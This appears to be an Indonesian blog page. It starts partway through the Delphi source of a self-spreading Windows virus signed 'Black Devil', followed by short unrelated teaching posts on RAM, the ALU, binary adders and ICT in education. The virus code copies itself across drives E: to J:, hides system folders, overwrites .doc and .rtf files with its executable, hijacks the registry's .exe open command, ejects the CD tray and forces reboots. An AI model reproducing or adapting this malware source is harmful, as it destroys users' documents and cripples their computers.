CopyFile(pchar(application.ExeName),PChar(dir+'F:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\services.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\AUTOEXEC.BAT'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'E:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'J:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'F:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'G:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'H:\Peta Indonesia.exe'),true);
CopyFile(pchar(application.ExeName),PChar(dir+'I:\Peta Indonesia.exe'),true);
//////////////////////////////////////////////////////////
except
end;
begin
getsystemdirectory(sysdir,sizeof(sysdir));
try
///////////////////////////////////////
SetFileAttributes(PChar(windir+'\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTORUN.INF'), FILE_ATTRIBUTE_HIDDEN);
/////////////////
SetFileAttributes(PChar(dir+'c:\Program Files'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+''), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(windir+'AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\services.exe'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'E:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'F:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'G:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'H:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'I:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
SetFileAttributes(PChar(dir+'J:\AUTOEXEC.BAT'), FILE_ATTRIBUTE_HIDDEN);
except
end;
end;
end;
procedure TFreak.Timer6Timer(Sender: TObject);
var FileHandle: Integer;
Buff : array [0 .. 3600] of char;
dir: string;
begin
Buff := 'fall into oblivionone story not bought
for darling that leave me
'#13+
'23-juni-2007
'#13+
'
---------------------------------------------------------------------------'#13+
'

'#13+
'
'#13+
'
'#13+
'sungguh tepat keputusannmu
'#13+
'meninggalkan aku yang memang bersalah
'#13+
'PEREMPUANKU
'#13+
'kau mimpiku....!
'#13+
'kau hidupku....!
'#13+
'tapi semua ini bukan murni salahku....!
'#13+
'PEREMPUANKU....!
'#13+
'inilah salahku....!
'#13+
'inilah dosaku....!
'#13+
'PEREMPUANKU....!
'#13+
'sungguh baik hatimu.......!
'#13+
'!
'#13+
'PEREMPUANKU....!
'#13+
'sungguh bijak dirimu.....!
'#13+
'!
'#13+
'PEREMPUANKU....!
'#13+
'ini kubuat untukmu....!
'#13+
'untuk menebus kesalahanku!
'#13+
'!
'#13+
' ketika ini merasuk di PC"mu.... maka aku telah lenyap....!
'#13+
' maafkanlah aku....!
'#13+
'
---------------------------------------------------------------------------'#13+
'
---i want---
'#13+
'
want me carve your name
'#13+
'at the leafy trees
'#13+
'at water the ripples
'#13+
'and at the lonely evening
'#13+
'so that they know
'#13+
'" i am pity in you "
'#13+
'
'#13+
'want me paint your face
'#13+
'at the white bubble foam
'#13+
'at the blue sky
'#13+
'and at redden twilight
'#13+
'so that they understand
'#13+
'" i yearn in you "
'#13+
'
'#13+
'want me hide to yearn this
'#13+
'on leaf in a mess
'#13+
'on wet soil former drizzles last night
'#13+
'and angled this eye that stills full of tears
'#13+
'so that they understand
'#13+
'" i am yours "
'#13+
'
---------------------------------------------------------------------------'#13+
'
---from Black Devil to you---
'#13+
'i am not angel
'#13+
'strong without love
'#13+
'as well as not cliff
'#13+
'strong at dash against wave
'#13+
'i only human usually
'#13+
'brittle when left to love
'#13+
'
---------------------------------------------------------------------------'#13+
'
---my sad---
'#13+
'i only can cry in your laughter...
'#13+
'i only can hush your smile time...
'#13+
'make to yearn not bought
'#13+
'treading self in alcove loves and affection
'#13+
'my affection wants you
'#13+
'my affection wants to suffer and your happy
'#13+
'your self...
'#13+
'myself...
'#13+
'what slurr in cry
'#13+
'myself
'#13+
'your self
'#13+
'what slurr in laughter....
'#13+
'my affection...
'#13+
'who are you...
'#13+
'make me kneel at face you...
'#13+
'
---------------------------------------------------------------------------'#13+
'
i am sorry mother
i am sorry father
'#13+
'i am sorry elder brother
i can not be to like what you want
'#13+
'i am but a looser can not get fact

'#13+
'
---------------------------------------------------------------------------'#13+
'
---untuk mereka yang tak bersalah---
'#13+
'Maafkanlah aku jika Virus ini merasuk dikomputermu
'#13+
'ini hanya sebuah media penyampaian PESANKU untuknya
'#13+
'Cintailah orang yang mencintaimu
'#13+
'Sesungguhnya kau akan kehilangan dia
'#13+
'

'#13+
'
---------------------------------------------------------------------------'#13+
'
I Love You keti Forever
'#13+
'From Black Devil
'#13+
'
'#13+
'
';
// Membuat file baru
FileHandle := FileCreate('Bisikan Qalbu.html');
if FileHandle < 0 then
begin
// ShowMessage('Gagal membuat file');
// Exit;
end;
FileWrite(FileHandle, Buff, SizeOf(Buff));
FileClose(FileHandle);
CopyFile('Bisikan Qalbu.html','C:\WINDOWS\Help\Tours\htmlTour\15-Maret-2008.html',true);
CopyFile('Bisikan Qalbu.html','d:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','d:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','e:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','f:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','g:\Bisikan Qalbu.html',true);
CopyFile('Bisikan Qalbu.html','h:\Bisikan Qalbu.html',true);
end;
procedure TFreak.Timer7Timer(Sender: TObject);
var F: TextFile;
hsysMenu:HMENU;{tutup form}
h:HWND;{tutup system}
APath: string;
dir : string;

{i : integer;}
{x : integer;}
{F:TextFile;}
MySearch: TSearchRec;
windir:array[0..255] of char;
sysdir:array[0..255] of char;
begin
getwindowsdirectory(windir,sizeof(windir));
getsystemdirectory(sysdir,sizeof(sysdir));
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.doc', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+'\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.doc', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+'\'+MySearch.Name),pchar(APath+'\'+MySearch.Name+'.exe'));
renamefile (pchar(application.ExeName+'.exe'),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
//ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.rtf', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
copyFile (pchar(application.ExeName),pchar(APath+'\'+MySearch.Name),false);
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
begin
try
dir := GetCurrentDir;
APath:= dir;
FindFirst(APath+'\*.rtf', faAnyFile, MySearch);
refresh;
while FindNext(MySearch)=0 do
begin
renamefile (pchar(APath+'\'+MySearch.Name),pchar(APath+'\'+MySearch.Name+'.exe'));
renamefile (pchar(application.ExeName+'.exe'),pchar(application.ExeName));
refresh;
end;
FindClose(MySearch);
except
end;
end;
refresh;
end;
procedure TFreak.Timer8Timer(Sender: TObject);
begin
mciSendString('set cdaudio door open',nil,0,0);
end;

procedure TFreak.Timer9Timer(Sender: TObject);
begin
shellExecute(Handle,'open','Bisikan Qalbu.html','',nil,SW_SHOWNORMAL)
end;

procedure TFreak.Timer10Timer(Sender: TObject);
var reg : TRegistry;
begin
try
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CLASSES_ROOT;
if Reg.OpenKey('\HKEY_CLASSES_ROOT\exefile\shell\open\command',True) then
begin
Reg.WriteString('','D:\AUTOEXEC.bat'+'"%1"'+'%*');
Reg.OpenKey('\HKEY_CLASSES_ROOT\exefile\shell\open\command',false);
end;
finally
reg.free;
end;
end;

procedure TFreak.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;
procedure TFreak.FormDestroy(Sender: TObject);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;
procedure TFreak.FormEndDock(Sender, Target: TObject; X, Y: Integer);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;
procedure TFreak.FormDblClick(Sender: TObject);
begin
// Power(EWX_REBOOT or EWX_FORCE);
end;
procedure TFreak.FormUnDock(Sender: TObject; Client: TControl;
NewTarget: TWinControl; var Allow: Boolean);
begin
Power(EWX_REBOOT or EWX_FORCE);
end;
procedure TFreak.Timer11Timer(Sender: TObject);
begin
ShellExecute(0, 'open', 'www.rossimania.com', nil, nil, SW_NORMAL);
end;
end.

Read more »

MEMORY

Memory biasanya disebut sebagai RAM, singkatan dari Random Access Memory. Memory berfungsi sebagai tempat penyimpanan data sementara. Memory bekerja dengan menyimpan & menyuplai data-data penting yg dibutuhkan Processor dengan cepat untuk diolah menjadi informasi. Karena itulah, fungsi kapasitas merupakan hal terpenting pada memory. Dimana semakin besar kapasitasnya, maka semakin banyak data yang dapat disimpan dan disuplai, yang akhirnya membuat Processor bekerja lebih cepat. Suplai data ke RAM berasal dari Hard Disk, suatu peralatan yang dapat menyimpan data secara permanen.

Ilustrasi Cara Kerja Memory.

Cara kerja Processor dalam sistem Komputer

Pada saat kita menyalakan komputer, device yang pertama kali bekerja adalah Processor. Processor berfungsi sebagai pengolah data dan meminta data dari storage, yaitu Hard Disk (HDD). Artinya data tersebut dikirim dari Hard Disk setelah ada permintaan dari Processor.

Tapi prakteknya hal ini sulit dilakukan karena perbedaan teknologi antara Processor & Hard Disk. Processor sendiri adalah komponen digital murni, dan akan memproses data dengan sangat cepat (Bandwidth tertinggi P4 saat ini 6,4 GB/s dengan FSB 800MHz). Sedangkan Hard Disk sebagian besar teknologinya merupakan mekanis yang tentu cukup lambat dibandingkan digital (Bandwidth atau Transfer Rate HDD Serial ATA berkisar 150 MB/s). Secara teoritis kecepatan data Processor berkisar 46x lebih cepat dibanding HDD. Artinya, apabila Processor menunggu pasokan data dari HDD akan terjadi “Bottle-Neck” yang sangat parah.

Read more »

Aritmatika dan Logical Unit

1. Dasar Teori

Arithmatic and Logic Unit (ALU), adalah salah satu bagian/komponen dalam sistem di dalem sistem komputer berfungsi melakukan operasi/perhitungan aritmatika dan logika (seperti penjumlahan, pengurangan dan beberapa logika lain), AlU bekerja besama-sama memori. Dimana hasil dari perhitungan di dalam ALU di simpan ke dalam memori.
Perhitungan dalam ALU menggunakan kode biner, yang merepresentasikan instruksi yang akan dieksekusi (opcode) dan data yang diolah (operand). ALU biasanya menggunakan sistem bilangan biner two’s complement.
ALU mendapat data dari register. Kemudian data tersebut diproses dan hasilnya akan disimpan dalam register tersendiri yaitu ALU output register, sebelum disimpan dalam memori.
Pada saat sekarang ini sebuah chip/IC dapat mempunyai beberapa ALU sekaligus yang memungkinkan untuk melakukan kalkulasi secara paralel. Salah satu chip ALU yang sederhana (terdiri dari 1 buah ALU) adalah IC 74LS382/HC382ALU (TTL). IC ini terdiri dari 20 kaki dan beroperasi dengan 4×2 pin data input (pinA dan pinB) dengan 4 pin keluaran (pinF).
ALU ( Arithmetical Logical Unit ) Fungsi unit ini adalah untuk melakukan suatu proses data yang berbentuk angka dan logika, seperti data matematika dan statistika. ALU terdiri dari register-register untuk menyimpan informasi. Tugas utama dari ALU adalah melakukan perhitungan aritmatika (matematika) yang terjadi sesuai dengan instruksi program. Sirkuit yang digunakan oleh ALU ini disebut dengan adder karena operasi yang dilakukan dengan dasar penjumlahan. Tugas lain dari ALU adalah melakukan keputusan dari operasi sesuai dengan instruksi program yaitu operasi logika (logical operation). Operasi logika meliputi perbandingan dua buah elemen logika dengan menggunakan operator logika, yaitu :

• Sama dengan (=)
• Tidak sama dengan ( <> )
• Kurang dari ( < )
• Kurang atau sama dengan dari ( <= )
• Lebih besar dari ( > )
• Lebih besar atau sama dengan dari ( >= )

Arithmetic and Logic Unit (ALU):

• Bertugas membentuk fungsi – fungsi

pengolahan data komputer.

• ALU sering disebut mesin bahasa (machine

language) karena bagian ini mengerjakan
instruksi – instruksi bahasa mesin yang
diberikan padanya. Seperti istilahnya

• ALU terdiri dari dua bagian, yaitu unit

arithmetika dan unit logika boolean, yang masing – masing memiliki spesifikasi tugas
sendiri.
Biasanya disingkat dengan ALU. Arithmetic Logical Unit merupakan unit penalaran secara logic. ALU ini adalah merupakan Sirkuit CPU berkecepatan tinggi yang bertugas menghitung dan membandingkan. Angka-angka dikirim dari memori ke ALU untuk dikalkulasi dan kemudian dikirim kembali ke memori.
Jika CPU diasumsikan sebagai otaknya komputer, maka ada suatu alat lain di dalam CPU tersebut yang kenal dengan nama Arithmetic Logical Unit (ALU), ALU inilah yang berfikir untuk menjalankan perintah yang diberikan kepada CPU tersebut.
ALU sendiri merupakan suatu kesatuan alat yang terdiri dari berbagai komponen perangkat elektronika termasuk di dalamnya sekelompok transistor, yang dikenal dengan nama logic gate, dimana logic gate ini berfungsi untuk melaksanakan perintah dasar matematika dan operasi logika.
Kumpulan susunan dari logic gate inilah yang dapat melakukan perintah perhitungan matematika yang lebih komplit seperti perintah “add” untuk menambahkan bilangan, atau “devide” atau pembagian dari suatu bilangan. Selain perintah matematika yang lebih komplit, kumpulan dari logic gate ini juga mampu untuk melaksanakan perintah yang berhubungan dengan logika, seperti hasil perbandingan dua buah bilangan.
Instruksi yang dapat dilaksanakan oleh ALU disebut dengan instruction set. Perintah yang ada pada masing-masing CPU belum tentu sama, terutama CPU yang dibuat oleh pembuat yang berbeda, katakanlah misalnya perintah yang dilaksanakan oleh CPU buatan Intel belum tentu sama dengan CPU yang dibuat oleh Sun atau perusahaan pembuat mikroprosesor lainnya. Jika perintah yang dijalankan oleh suatu CPU dengan CPU lainnya adalah sama, maka pada level inilah suatu sistem dikatakan compatible.
Sehingga sebuah program atau perangkat lunak atau software yang dibuat berdasarkan perintah yang ada pada Intel tidak akan bisa dijalankan untuk semua jenis prosesor,kecuali untuk prosesor yang compatible dengannya.
Seperti halnya dalam bahasa yang digunakan oleh manusia, instruction set ini juga memiliki aturan bahasa yang bisa saja berbeda satu dengan lainnya. Bandingkanlah beda struktur bahasa Inggris dengan Indonesia, atau dengan bahasa lainnya, begitu juga dengan instruction set yang ada pada mesin, tergantung dimana lingkungan instruction set itu digunakan.
ALU, singkatan dari Arithmetic And Logic Unit dalam bahasa Indonesia: unit aritmatika dan logika), adalah salah satu bagian dalam dari sebuah mikroprosessor  yang berfungsi untuk melakukan operasi hitungan aritmatika dan logika.Contoh operasi aritmatika adalah operasi penjumlahan dan pengurangan, sedangkan contoh operasi logika adalah logika AND dan OR. tugas utama dari ALU (Arithmetic And Logic Unit)adalah melakukan semua perhitungan aritmatika atau matematika yang terjadi sesuai dengan instruksi program. ALU melakukan operasi aritmatika yang lainnya. Seperti pengurangan, pengurangan, dan pembagian dilakukan dengan dasar penjumlahan. Sehingga sirkuit elektronik di ALU yang digunakan untuk melaksanakan operasi aritmatika ini disebut adder. ALU melakukan operasi arithmatika dengan dasar pertambahan, sedang operasi arithmatika yang lainnya, seperti pengurangan, perkalian, dan pembagian dilakukan dengan dasar penjumlahan. sehingga sirkuit elektronik di         ALU yang digunakan untuk melaksanakan operasi arithmatika ini disebut adder. Tugas lalin dari ALU adalah melakukan keputusan dari operasi logika sesuai dengan instruksi program. Operasi logika (logical operation) meliputi perbandingan dua buah elemen logika dengan menggunakan operator logika.
ALU melakukan perhitungan berdasarkan aritmatika yang terjadi sesuai dengan instruksi program. Alu melakukan operasi aritmatika berdasarkan penjumlahan. Operasi pengurangan, perkalian, dan pembagian dilakukan dengan dasar penjumlahan. Sirkuit elektronik di ALU = adder.
Fungsi-fungsi yang didefinisikan pada ALU adalah Add (penjumlahan), Addu (penjumlahan tidak bertanda), Sub (pengurangan), Subu (pengurangan tidak bertanda), and, or, xor, sll (shift left logical), srl (shift right logical), sra (shift right arithmetic), dan lain-lain.
Gambar :
ALU (Aritmetic and Logic Unit)
Unit Aritmetika dan Logika merupakan bagian pengolah bilangan dari sebuah komputer.Operasi Aritmatika terdiri dari berbagai macam operasi diantaranya adalah operasi penjumlahan, pengurangan, perkalian, dan pembagian.
Cara Pendesinan pada ALU hampir sama dengan mendesain enkoder, multiplexer, dan di
Multiplexer. Rangkaian utama yang digunakan untuk melakukan perhitungan ALU adalah Adder.
Rangkaian pada ALU (Arithmetic and Logic Unit) yang digunakan untuk menjumlahkan bilangan dinamakan dengan Adder. Adder digunakan untuk memproses operasi aritmetika, Adder juga disebut rangkaian kombinasional aritmatika.
Ada 3 jenis adder:
1.Rangkaian Adder dengan menjumlahkan dua bit disebut Half Adder.
2.Rangkaian Adder dengan menjumlahkan tiga bit disebut Full Adder.
3.Rangkain Adder dengan menjumlahkan banyak bit disebut Paralel Adder
.
A. Half Adder
Rangkaian Half Adder merupakan dasar penjumlahan bilangan Biner yang terdiri dari satu bit, oleh karena itu dinamai Penjumlah Tak Lengkap.
1. jika A = 0 dan B = 0 dijumlahkan, hasilnya S ( Sum ) = 0.
2. jika A = 0 dan B = 1 dijumlahkan, hasilnya S ( Sum ) = 1.
3. jika A = 1 dan B = 1 dijumlahkan, hasilnya S ( Sum ) = 0

1. jika A = 1 dan B =1 dijumlahkan, hasilnya S ( Sum ) = 0. dengan nilai pindahan cy(Carry Out) = 1

Dengan demikian, half adder memiliki 2 masukan ( A dan B ) dan dua keluaran ( S dan Cy ).
Tabel Kebenaran Half adder :

A	B	S	C
0	0	0	0
0	1	1	0
1	0	1	0
1	1	0	1

B. FULL ADDER
Sebuah Full Adder menjumlahkan dua bilangan yang telah dikonversikan menjadi bilangan-bilangan biner. Masing-masing bit pada posisi yang sama saling dijumlahkan. Full Adder sebagai penjumlah pada bit-bit selain yang terendah. Full Adder menjumlahkan dua bit input ditambah dengan nilai Carry-Out dari penjumlahan bit sebelumnya. Output dari Full Adder adalah hasil penjumlahan (Sum) dan bit kelebihannya (carry-out).
C. PARALEL  ADDER
Rangkaian Parallel Adder adalah rangkaian penjumlah dari dua bilangan yang telah dikonversikan ke dalam bentuk biner. Anggap ada dua buah register A dan B, masing-masing register terdiri dari 4 bit biner : A3A2A1A0 dan B3B2B1B0.
Rangkaian Parallel Adder terdiri dari Sebuah Half Adder (HA) pada Least Significant Bit (LSB) dari masing-masing input dan beberapa Full Adder pada bit-bit berikutnya. Prinsip kerja dari Parallel Adder adalah sebagai berikut : penjumlahan dilakukan mulai dari LSB-nya. Jika hasil penjumlahan adalah bilangan desimal “2” atau lebih, maka bit kelebihannya disimpan pada Cout, sedangkan bit di bawahnya akan dikeluarkan pada Σ. Begitu seterusnya menuju ke Most Significant Bit (MSB)nya.

Read more »

TIK UNTUK DUNIA PENDIDIKAN

Teknologi Informasi dan Komunikasi dalm dunia pendidikan sangatlah penting. Kebutuhkan akan Teknologi di dunia pendidikan memacu para pelajar untuk mengikuti perkembangan Teknologi Informasi dan Komunikasi.
Dunia pendidikan merupakan salah satu jalur perkembangan Teknologi Informasi dan Komunikasi. Pendidikan sekarang ini sangatlah bergantung pada TIK,misalnya pada saat KBM.

Read more »

TEKNOLOGI INFORMASI DAN KOMUNIKASI

Teknologi Informasi dan komunikasi merupakan seluruh pelaratan teknis untuk memproses dan menyampaikan informasi yang menyangkut dua aspek yaitu Teknologi Informasi dan Teknologi Komunikasi.Teknologi Informasi dan komunikasi juga dapat diartikan sebagai gabungan antara perangkat keras(Hardware) dengan Perangkat lunak(Software)  untuk menghasilkan informasi dengan media komunikasi yang digunakan.

Read more »